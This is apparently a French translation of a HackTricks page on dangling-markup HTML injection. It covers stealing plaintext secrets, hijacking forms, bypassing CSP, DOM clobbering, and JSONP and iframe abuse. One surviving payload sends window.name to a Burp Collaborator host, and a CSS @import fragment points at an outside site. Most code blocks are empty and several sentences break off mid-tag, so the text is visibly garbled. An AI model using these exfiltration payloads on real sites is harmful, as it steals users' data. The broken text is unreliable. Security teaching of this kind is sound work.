# Dangling Markup - injection HTML sans script
{{#include ../../banners/hacktricks-training.md}}
## Résumé
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS** ](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
Elle est également utile si un **secret est enregistré en texte clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous voulez induire en erreur l'exécution de certains scripts.
Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**Content Security Policy**](../content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...).
## Applications principales
### Vol de secrets en texte clair
Si vous injectez `@import//hackvertor.co.uk? <--- Injected
steal me!;
```
Vous pouvez également utiliser **`
test
```
### Vol de formulaires
```html
```
Ensuite, les formulaires qui envoient des données vers le chemin (comme `
```
### Vol de secrets en texte clair via noscript
`` est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge JavaScript (vous pouvez activer/désactiver JavaScript dans Chrome à [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrôlé par un attaquant sera d'injecter ceci :
```html
```
### Contournement de CSP avec interaction utilisateur
Dans cette [recherche de portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), vous pouvez apprendre que même dans les environnements **les plus restreints par CSP**, vous pouvez toujours **exfiltrer des données** avec un peu d'**interaction utilisateur**. Dans cette occasion, nous allons utiliser le payload :
```html
You must click me
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
```
### Workflow de script trompeur 1 - Attaque par espace de noms HTML
Insérez une nouvelle balise avec un id à l'intérieur du HTML qui écrasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée :
```html
← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### Flux de script trompeur 2 - Attaque par espace de noms de script
Créez des variables à l'intérieur de l'espace de noms javascript en insérant des balises HTML. Ensuite, cette variable affectera le flux de l'application :
```html
← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### Abus de JSONP
Si vous trouvez une interface JSONP, vous pourriez être en mesure d'appeler une fonction arbitraire avec des données arbitraires :
```html
```
### Abus d'Iframe
Un document enfant possède la capacité de voir et de modifier la propriété `location` de son parent, même dans des situations de cross-origin. Cela permet d'incorporer un script dans un **iframe** qui peut rediriger le client vers une page arbitraire :
```html
```
Cela peut être atténué avec quelque chose comme : `sandbox=' allow-scripts allow-top-navigation'`
Un iframe peut également être abusé pour divulguer des informations sensibles d'une autre page **en utilisant l'attribut name de l'iframe**. Cela est dû au fait que vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait que **les informations sensibles apparaissent à l'intérieur de l'attribut name de l'iframe** et ensuite accéder à ce nom depuis l'iframe initial et le divulguer.
```html
```
Pour plus d'informations, consultez [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \` ou effectuer une redirection (dans 5s dans ce cas) : ``
Cela peut être **évité** avec un **CSP** concernant **http-equiv** ( `Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
### Nouveau \